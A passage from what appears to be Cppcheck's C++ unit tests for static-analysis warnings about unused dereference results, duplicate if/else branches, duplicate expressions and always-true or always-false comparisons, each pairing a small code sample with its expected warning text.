f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void 